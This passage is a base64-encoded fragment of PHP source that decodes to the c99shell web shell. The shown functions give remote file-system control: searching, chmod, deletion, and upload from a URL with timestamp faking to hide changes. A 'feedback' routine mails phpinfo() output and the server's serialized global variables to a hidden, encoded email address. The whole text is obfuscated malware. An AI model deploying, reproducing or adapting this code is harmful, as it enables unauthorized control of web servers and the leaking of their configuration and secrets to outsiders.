mRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+Ijt9CiAgZWNobyAiJm5ic3A7PGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwic2V0X2VuY29kZXJfaW5wdXQoZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5kZWJhc2U2NC52YWx1ZSlcIj48Yj5ePC9iPjwvYT4iOwogfQogZWNobyAiPC9jZW50ZXI+PGJyPjxiPkJhc2UgY29udmVydGF0aW9uczwvYj46PGNlbnRlcj5kZWMyaGV4IC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7CiAkYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7CiBmb3IoJGk9MDskaTwkYzskaSsrKQogewogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOwogIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKSB7ZWNobyAkZW5jb2Rlcl9pbnB1dFskaV07fQogIGVsc2VpZiAoJGVuY29kZXJfaW5wdXRbJGldICE9ICJcXCIpIHtlY2hvICIlIi4kaGV4O30KIH0KIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsKfQppZiAoJGFjdCA9PSAiZnNidWZmIikKewogJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOwogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsKICRhcnIgPSBhcnJheV9tZXJnZSgkYXJyX2NvcHksJGFycl9jdXQpOwogaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8Y2VudGVyPjxiPkJ1ZmZlciBpcyBlbXB0eSE8L2I+PC9jZW50ZXI+Ijt9CiBlbHNlIHtlY2hvICI8Yj5GaWxlLVN5c3RlbSBidWZmZXI8L2I+PGJyPjxicj4iOyAkbHNfYXJyID0gJGFycjsgJGRpc3BfZnVsbHBhdGggPSBUUlVFOyAkYWN0ID0gImxzIjt9Cn0KaWYgKCRhY3QgPT0gInNlbGZyZW1vdmUiKQp7CiBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpCiB7CiAgaWYgKHVubGluayhfX0ZJTEVfXykpIHtAb2JfY2xlYW4oKTsgZWNobyAiVGhhbmtzIGZvciB1c2luZyBjOTlzaGVsbCB2LiIuJHNodmVyLiIhIjsgYzk5c2hleGl0KCk7IH0KICBlbHNlIHtlY2hvICI8Y2VudGVyPjxiPkNhbid0IGRlbGV0ZSAiLl9fRklMRV9fLiIhPC9iPjwvY2VudGVyPiI7fQogfQogZWxzZQogewogIGlmICghZW1wdHkoJHJuZGNvZGUpKSB7ZWNobyAiPGI+RXJyb3I6IGluY29ycmVjdCBjb25maW1hdGlvbiE8L2I+Ijt9CiAgJHJuZCA9IHJhbmQoMCw5KS5yYW5kKDAsOSkucmFuZCgwLDkpOwogIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1zZWxmcmVtb3ZlPjxiPlNlbGYtcmVtb3ZlOiAiLl9fRklMRV9fLiIgPGJyPjxiPkFyZSB5b3Ugc3VyZT88YnI+Rm9yIGNvbmZpcm1hdGlvbiwgZW50ZXIgXCIiLiRybmQuIlwiPC9iPjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOwogfQp9CmlmICgkYWN0ID09ICJ1cGRhdGUiKSB7JHJldCA9IGM5OXNoX2dldHVwZGF0ZSghISRjb25maXJtdXBkYXRlKTsgZWNobyAiPGI+Ii4kcmV0LiI8L2I+IjsgaWYgKHN0cmlzdHIoJHJldCwibmV3IHZlcnNpb24iKSkge2VjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLiRzdXJsLiJhY3Q9dXBkYXRlJmNvbmZpcm11cGRhdGU9MSc7XCIgdmFsdWU9XCJVcGRhdGUgbm93XCI+Ijt9fQppZiAoJGFjdCA9PSAiZmVlZGJhY2siKQp7CiAkc3VwcG1haWwgPSBiYXNlNjRfZGVjb2RlKCJZems1YzJobGJHeEFZMk4wWldGdExuSjEiKTsKIGlmICghZW1wdHkoJHN1Ym1pdCkpCiB7CiAgJHRpY2tldCA9IHN1YnN0cihtZDUobWljcm90aW1lKCkrcmFuZCgxLDEwMDApKSwwLDYpOwogICRib2R5ID0gImM5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsKICBpZiAoIWVtcHR5KCRmZGJrX3JlZikpCiAgewogICAkdG1wID0gQG9iX2dldF9jb250ZW50cygpOwogICBvYl9jbGVhbigpOwogICBwaHBpbmZvKCk7CiAgICRwaHBpbmZvID0gYmFzZTY0X2VuY29kZShvYl9nZXRfY29udGVudHMoKSk7CiAgIG9iX2NsZWFuKCk7CiAgIGVjaG8gJHRtcDsKICAgJGJvZHkgLj0gIlxuIi4icGhwaW5mbygpOiAiLiRwaHBpbmZvLiJcbiIuIlwkR0xPQkFMUz0iLmJhc2U2NF9lbmNvZGUoc2VyaWFsaXplKCRHTE9CQUxTKSkuIlxuIjsKICB9CiAgbWFpbCgkc3VwcG1haWwsImM5OXNoZWxsIHYuIi4kc2h2ZXIuIiBmZWVkYmFjayAjIi4kdGlja2V0LCRib2R5LCJGUk9NOiAiLiRzdXBwbWFpbCk7CiAgZWNobyAiPGNlbnRlcj48Yj5UaGFua3MgZm9yIHlvdXIgZmVlZGJhY2shIFlvdXIgdGlja2V0IElEOiAiLiR0aWNrZXQuIi48L2I+PC9jZW50ZXI+IjsKIH0KIGVsc2Uge2VjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1mZWVkYmFjaz48Yj5GZWVkYmFjayBvciByZXBvcnQgYnVnICgiLnN0cl9yZXBsYWNlKGFycmF5KCJAIiwiLiIpLGFycmF5KCJbYXRdIiwiW2RvdF0iKSwkc3VwcG1haWwpLiIpOjxicj48YnI+WW91ciBuYW1lOiA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZmRia19uYW1lXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfbmFtZSkuIlwiPjxicj48YnI+WW91ciBlLW1haWw6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmZGJrX2VtYWlsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGZkYmtfZW1haWwpLiJcIj48YnI+PGJyPk1lc3NhZ2U6PGJyPjx0ZXh0YXJlYSBuYW1lPVwiZmRia19ib2R5XCIgY29scz04MCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmZGJrX3JlZlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJEhUVFBfUkVGRVJFUikuIlwiPjxicj48YnI+QXR0YWNoIHNlcnZlci1pbmZvICogPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJmZGJrX3NlcnZpbmZcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj48YnI+VGhlcmUgYXJlIG5vIGNoZWNraW5nIGluIHRoZSBmb3JtLjxicj48YnI+KiAtIHN0cm9uZ2x5IHJlY29tbWVuZGVkLCBpZiB5b3UgcmVwb3J0IGJ1ZywgYmVjYXVzZSB3ZSBuZWVkIGl0IGZvciBidWctZml4Ljxicj48YnI+V2UgdW5kZXJzdGFuZCBsYW5ndWFnZXM6IEVuZ2xpc2gsIFJ1c3NpYW4uPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIlNlbmRcIj48L2Zvcm0+Ijt9Cn0KaWYgKCRhY3QgPT0gInNlYXJjaCIpCnsKIGVjaG8gIjxiPlNlYXJjaCBpbiBmaWxlLXN5c3RlbTo8L2I+PGJyPiI7CiBpZiAoZW1wdHkoJHNlYXJjaF9pbikpIHskc2VhcmNoX2luID0gJGQ7fQogaWYgKGVtcHR5KCRzZWFyY2hfbmFtZSkpIHskc2VhcmNoX25hbWUgPSAiKC4qKSI7ICRzZWFyY2hfbmFtZV9yZWdleHAgPSAxO30KIGlmIChlbXB0eSgkc2VhcmNoX3RleHRfd3dvKSkgeyRzZWFyY2hfdGV4dF9yZWdleHAgPSAwO30KIGlmICghZW1wdHkoJHN1Ym1pdCkpCiB7CiAgJGZvdW5kID0gYXJyYXkoKTsKICAkZm91bmRfZCA9IDA7CiAgJGZvdW5kX2YgPSAwOwogICRzZWFyY2hfaV9mID0gMDsKICAkc2VhcmNoX2lfZCA9IDA7CiAgJGEgPSBhcnJheQogICgKICAgIm5hbWUiPT4kc2VhcmNoX25hbWUsICJuYW1lX3JlZ2V4cCI9PiRzZWFyY2hfbmFtZV9yZWdleHAsCiAgICJ0ZXh0Ij0+JHNlYXJjaF90ZXh0LCAidGV4dF9yZWdleHAiPT4kc2VhcmNoX3RleHRfcmVneHAsCiAgICJ0ZXh0X3d3byI9PiRzZWFyY2hfdGV4dF93d28sCiAgICJ0ZXh0X2NzIj0+JHNlYXJjaF90ZXh0X2NzLAogICAidGV4dF9ub3QiPT4kc2VhcmNoX3RleHRfbm90CiAgKTsKICAkc2VhcmNodGltZSA9IGdldG1pY3JvdGltZSgpOwogICRpbiA9IGFycmF5X3VuaXF1ZShleHBsb2RlKCI7Iiwkc2VhcmNoX2luKSk7CiAgZm9yZWFjaCgkaW4gYXMgJHYpIHtjOTlmc2VhcmNoKCR2KTt9CiAgJHNlYXJjaHRpbWUgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc2VhcmNodGltZSw0KTsKICBpZiAoY291bnQoJGZvdW5kKSA9PSAwKSB7ZWNobyAiPGI+Tm8gZmlsZXMgZm91bmQhPC9iPiI7fQogIGVsc2UKICB7CiAgICRsc19hcnIgPSAkZm91bmQ7CiAgICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsKICAgJGFjdCA9ICJscyI7CiAgfQogfQogZWNobyAiPGZvcm0gbWV0aG9kPVBPU1Q+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cIiIuJGRzcGFjdC4iXCI+CjxiPlNlYXJjaCBmb3IgKGZpbGUvZm9sZGVyIG5hbWUpOiA8L2I+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNlYXJjaF9uYW1lXCIgc2l6ZT1cIiIucm91bmQoc3RybGVuKCRzZWFyY2hfbmFtZSkrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX25hbWUpLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF9uYW1lX3JlZ2V4cFwiIHZhbHVlPVwiMVwiICIuKCRzZWFyY2hfbmFtZV9yZWdleHAgPT0gMT8iIGNoZWNrZWQiOiIiKS4iPiAtIHJlZ2V4cAo8YnI+PGI+U2VhcmNoIGluIChleHBsb2RlIFwiO1wiKTogPC9iPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzZWFyY2hfaW5cIiBzaXplPVwiIi5yb3VuZChzdHJsZW4oJHNlYXJjaF9pbikrMjUpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc2VhcmNoX2luKS4iXCI+Cjxicj48YnI+PGI+VGV4dDo8L2I+PGJyPjx0ZXh0YXJlYSBuYW1lPVwic2VhcmNoX3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIjEwXCI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzZWFyY2hfdGV4dCkuIjwvdGV4dGFyZWE+Cjxicj48YnI+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9yZWdleHBcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfcmVnZXhwID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSByZWdleHAKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF93d29cIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfd3dvID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSA8dT53PC91PmhvbGUgd29yZHMgb25seQombmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNlYXJjaF90ZXh0X2NzXCIgdmFsdWU9XCIxXCIgIi4oJHNlYXJjaF90ZXh0X2NzID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBjYXM8dT5lPC91PiBzZW5zaXRpdmUKJm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzZWFyY2hfdGV4dF9ub3RcIiB2YWx1ZT1cIjFcIiAiLigkc2VhcmNoX3RleHRfbm90ID09IDE/IiBjaGVja2VkIjoiIikuIj4gLSBmaW5kIGZpbGVzIDx1Pk5PVDwvdT4gY29udGFpbmluZyB0aGUgdGV4dAo8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNlYXJjaFwiPjwvZm9ybT4iOwogaWYgKCRhY3QgPT0gImxzIikgeyRkc3BhY3QgPSAkYWN0OyBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPlNlYXJjaCB0b29rICIuJHNlYXJjaHRpbWUuIiBzZWNzICgiLiRzZWFyY2hfaV9mLiIgZmlsZXMgYW5kICIuJHNlYXJjaF9pX2QuIiBmb2xkZXJzLCAiLnJvdW5kKCgkc2VhcmNoX2lfZiskc2VhcmNoX2lfZCkvJHNlYXJjaHRpbWUsNCkuIiBvYmplY3RzIHBlciBzZWNvbmQpLjwvYj48YnI+PGJyPiI7fQp9CmlmICgkYWN0ID09ICJjaG1vZCIpCnsKICRtb2RlID0gZmlsZXBlcm1zKCRkLiRmKTsKIGlmICghJG1vZGUpIHtlY2hvICI8Yj5DaGFuZ2UgZmlsZS1tb2RlIHdpdGggZXJyb3I6PC9iPiBjYW4ndCBnZXQgY3VycmVudCB2YWx1ZS4iO30KIGVsc2UKIHsKICAkZm9ybSA9IFRSVUU7CiAgaWYgKCRjaG1vZF9zdWJtaXQpCiAgewogICAkb2N0ZXQgPSAiMCIuYmFzZV9jb252ZXJ0KCgkY2htb2Rfb1siciJdPzE6MCkuKCRjaG1vZF9vWyJ3Il0/MTowKS4oJGNobW9kX29bIngiXT8xOjApLigkY2htb2RfZ1siciJdPzE6MCkuKCRjaG1vZF9nWyJ3Il0/MTowKS4oJGNobW9kX2dbIngiXT8xOjApLigkY2htb2Rfd1siciJdPzE6MCkuKCRjaG1vZF93WyJ3Il0/MTowKS4oJGNobW9kX3dbIngiXT8xOjApLDIsOCk7CiAgIGlmIChjaG1vZCgkZC4kZiwkb2N0ZXQpKSB7JGFjdCA9ICJscyI7ICRmb3JtID0gRkFMU0U7ICRlcnIgPSAiIjt9CiAgIGVsc2UgeyRlcnIgPSAiQ2FuJ3QgY2htb2QgdG8gIi4kb2N0ZXQuIi4iO30KICB9CiAgaWYgKCRmb3JtKQogIHsKICAgJHBlcm1zID0gcGFyc2VfcGVybXMoJG1vZGUpOwogICBlY2hvICI8Yj5DaGFuZ2luZyBmaWxlLW1vZGUgKCIuJGQuJGYuIiksICIudmlld19wZXJtc19jb2xvcigkZC4kZikuIiAoIi5zdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZC4kZikpLC00LDQpLiIpPC9iPjxicj4iLigkZXJyPyI8Yj5FcnJvcjo8L2I+ICIuJGVycjoiIikuIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRmKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPWNobW9kPjx0YWJsZSBhbGlnbj1sZWZ0IHdpZHRoPTMwMCBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTU+PHRyPjx0ZD48Yj5Pd25lcjwvYj48YnI+PGJyPjxpbnB1dCB0eXBlPWNoZWNrYm94IE5BTUU9Y2htb2Rfb1tyXSB2YWx1ZT0xIi4oJHBlcm1zWyJvIl1bInIiXT8iIGNoZWNrZWQiOiIiKS4iPiZuYnNwO1JlYWQ8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1jaG1vZF9vW3ddIHZhbHVlPTEiLigkcGVybXNbIm8iXVsidyJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7V3JpdGU8YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9vW3hdIHZhbHVlPTEiLigkcGVybXNbIm8iXVsieCJdPyIgY2hlY2tlZCI6IiIpLiI+ZVhlY3V0ZTwvdGQ+PHRkPjxiPkdyb3VwPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF9nW3JdIHZhbHVlPTEiLigkcGVybXNbImciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbd10gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX2dbeF0gdmFsdWU9MSIuKCRwZXJtc1siZyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PHRkPjxiPldvcmxkPC9iPjxicj48YnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggTkFNRT1jaG1vZF93W3JdIHZhbHVlPTEiLigkcGVybXNbInciXVsiciJdPyIgY2hlY2tlZCI6IiIpLiI+Jm5ic3A7UmVhZDxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbd10gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ3Il0/IiBjaGVja2VkIjoiIikuIj4mbmJzcDtXcml0ZTxicj48aW5wdXQgdHlwZT1jaGVja2JveCBOQU1FPWNobW9kX3dbeF0gdmFsdWU9MSIuKCRwZXJtc1sidyJdWyJ4Il0/IiBjaGVja2VkIjoiIikuIj5lWGVjdXRlPC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWNobW9kX3N1Ym1pdCB2YWx1ZT1cIlNhdmVcIj48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+IjsKICB9CiB9Cn0KaWYgKCRhY3QgPT0gInVwbG9hZCIpCnsKICR1cGxvYWRtZXNzID0gIiI7CiAkdXBsb2FkcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdXBsb2FkcGF0aCk7CiBpZiAoZW1wdHkoJHVwbG9hZHBhdGgpKSB7JHVwbG9hZHBhdGggPSAkZDt9CiBlbHNlaWYgKHN1YnN0cigkdXBsb2FkcGF0aCwtMSkgIT0gIi8iKSB7JHVwbG9hZHBhdGggLj0gIi8iO30KIGlmICghZW1wdHkoJHN1Ym1pdCkpCiB7CiAgZ2xvYmFsICRIVFRQX1BPU1RfRklMRVM7CiAgJHVwbG9hZGZpbGUgPSAkSFRUUF9QT1NUX0ZJTEVTWyJ1cGxvYWRmaWxlIl07CiAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSkpCiAgewogICBpZiAoZW1wdHkoJHVwbG9hZGZpbGVuYW1lKSkgeyRkZXN0aW4gPSAkdXBsb2FkZmlsZVsibmFtZSJdO30KICAgZWxzZSB7JGRlc3RpbiA9ICR1c2VyZmlsZW5hbWU7fQogICBpZiAoIW1vdmVfdXBsb2FkZWRfZmlsZSgkdXBsb2FkZmlsZVsidG1wX25hbWUiXSwkdXBsb2FkcGF0aC4kZGVzdGluKSkgeyR1cGxvYWRtZXNzIC49ICJFcnJvciB1cGxvYWRpbmcgZmlsZSAiLiR1cGxvYWRmaWxlWyJuYW1lIl0uIiAoY2FuJ3QgY29weSBcIiIuJHVwbG9hZGZpbGVbInRtcF9uYW1lIl0uIlwiIHRvIFwiIi4kdXBsb2FkcGF0aC4kZGVzdGluLiJcIiE8YnI+Ijt9CiAgfQogIGVsc2VpZiAoIWVtcHR5KCR1cGxvYWR1cmwpKQogIHsKICAgaWYgKCFlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlbmFtZTt9CiAgIGVsc2UKICAgewogICAgJGRlc3RpbiA9IGV4cGxvZGUoIi8iLCRkZXN0aW4pOwogICAgJGRlc3RpbiA9ICRkZXN0aW5bY291bnQoJGRlc3RpbiktMV07CiAgICBpZiAoZW1wdHkoJGRlc3RpbikpCiAgICB7CiAgICAgJGkgPSAwOwogICAgICRiID0gIiI7CiAgICAgd2hpbGUoZmlsZV9leGlzdHMoJHVwbG9hZHBhdGguJGRlc3RpbikpIHtpZiAoJGkgPiAwKSB7JGIgPSAiXyIuJGk7fSAkZGVzdGluID0gImluZGV4Ii4kYi4iLmh0bWwiOyAkaSsrO319CiAgIH0KICAgaWYgKCghZXJlZ2koImh0dHA6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiaHR0cHM6Ly8iLCR1cGxvYWR1cmwpKSBhbmQgKCFlcmVnaSgiZnRwOi8vIiwkdXBsb2FkdXJsKSkpIHtlY2hvICI8Yj5JbmNvcmVjdCB1cmwhPC9iPjxicj4iO30KICAgZWxzZQogICB7CiAgICAkc3QgPSBnZXRtaWNyb3RpbWUoKTsKICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cGxvYWR1cmwpOwogICAgJGR0ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJHN0LDQpOwogICAgaWYgKCEkY29udGVudCkgeyR1cGxvYWRtZXNzIC49ICAiQ2FuJ3QgZG93bmxvYWQgZmlsZSE8YnI+Ijt9CiAgICBlbHNlCiAgICB7CiAgICAgaWYgKCRmaWxlc3RlYWx0aCkgeyRzdGF0ID0gc3RhdCgkdXBsb2FkcGF0aC4kZGVzdGluKTt9CiAgICAgJGZwID0gZm9wZW4oJHVwbG9hZHBhdGguJGRlc3RpbiwidyIpOwogICAgIGlmICghJGZwKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHdyaXRpbmcgdG8gZmlsZSAiLmh0bWxzcGVjaWFsY2hhcnMoJGRlc3RpbikuIiE8YnI+Ijt9CiAgICAgZWxzZQogICAgIHsKICAgICAgZndyaXRlKCRmcCwkY29udGVudCxzdHJsZW4oJGNvbnRlbnQpKTsKICAgICAgZmNsb3NlKCRmcCk7CiAgICAgIGlmICgkZmlsZXN0ZWFsdGgpIHt0b3VjaCgkdXBsb2FkcGF0aC4kZGVzdGluLCRzdGF0WzldLCRzdGF0WzhdKTt9CiAgICAgfQogICAgfQogICB9CiAgfQogfQogaWYgKCRtaW5pZm9ybSkKIHsKICBlY2hvICI8Yj4iLiR1cGxvYWRtZXNzLiI8L2I+IjsKICAkYWN0ID0gImxzIjsKIH0KIGVsc2UKIHsKICBlY2hvICI8Yj5GaWxlIHVwbG9hZDo8L2I+PGJyPjxiPiIuJHVwbG9hZG1lc3MuIjwvYj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIGFjdGlvbj1cIiIuJHN1cmwuImFjdD11cGxvYWQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPgpTZWxlY3QgZmlsZSBvbiB5b3VyIGxvY2FsIGNvbXB1dGVyOiA8aW5wdXQgbmFtZT1cInVwbG9hZGZpbGVcIiB0eXBlPVwiZmlsZVwiPjxicj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtvcjxicj4KSW5wdXQgVVJMOiA8aW5wdXQgbmFtZT1cInVwbG9hZHVybFwiIHR5cGU9XCJ0ZXh0XCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHVwbG9hZHVybCkuIlwiIHNpemU9XCI3MFwiPjxicj48YnI+ClNhdmUgdGhpcyBmaWxlIGRpcjogPGlucHV0IG5hbWU9XCJ1cGxvYWRwYXRoXCIgc2l6ZT1cIjcwXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj4KRmlsZS1uYW1lIChhdXRvLWZpbGwpOiA8aW5wdXQgbmFtZT11cGxvYWRmaWxlbmFtZSBzaXplPTI1Pjxicj48YnI+CjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9dXBsb2FkYXV0b25hbWUgdmFsdWU9MSBpZD1kZjQ+Jm5ic3A7Y29udmVydCBmaWxlIG5hbWUgdG8gbG92ZXJjYXNlPGJyPjxicj4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiVXBsb2FkXCI+CjwvZm9ybT4iOwogfQp9CmlmICgkYWN0ID09ICJkZWxldGUiKQp7CiAkZGVsZXJyID0gIiI7CiBmb3JlYWNoICgkYWN0Ym94IGFzICR2KQogewogICRyZXN1bHQgPSBGQUxTRTsKICAkcmVzdWx0ID0gZnNfcm1vYmooJHYpOwogIGlmICghJHJlc3VsdCkgeyRkZWxlcnIgLj0gIkNhbid0IGRlbGV0ZSAiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiI8YnI+Ijt9CiB9CiBpZiAoIWVtcHR5KCRkZWxlcnIpKSB7ZWNobyAiPGI+RGVsZXRpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRkZWxlcnI7fQogJGFjdCA9ICJscyI7Cn0KaWYgKCEkdXNlZnNidWZmKQp7CiBpZiAoKCRhY3QgPT0gInBhc3RlIikgb3IgKCRhY3QgPT0gImNvcHkiKSBvciAoJGFjdCA9PSAiY3V0Iikgb3IgKCRhY3QgPT0gInVuc2VsZWN0IikpIHtlY2hvICI8Y2VudGVyPjxiPlNvcnJ5LCBidWZmZXIgaXMgZGlzYWJsZWQuIEZvciBlbmFibGUsIHNldCBkaXJlY3RpdmUgXCJcJHVzZUZTYnVmZlwiIGFzIFRSVUUuPC9jZW50ZXI+Ijt9Cn0KZWxzZQp7CiBpZiAoJGFjdCA9PSAiY29weSIpIHskZXJyID0gIiI7ICRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjsgfQogZWxzZWlmICgkYWN0ID09ICJjdXQiKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV9tZXJnZSgkc2Vzc19kYXRhWyJjdXQiXSwkYWN0Ym94KTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9CiBlbHNlaWYgKCRhY3QgPT0gInVuc2VsZWN0Iikge2ZvcmVhY2ggKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9fSBmb3JlYWNoICgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJHYsJGFjdGJveCkpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319IGM5OV9zZ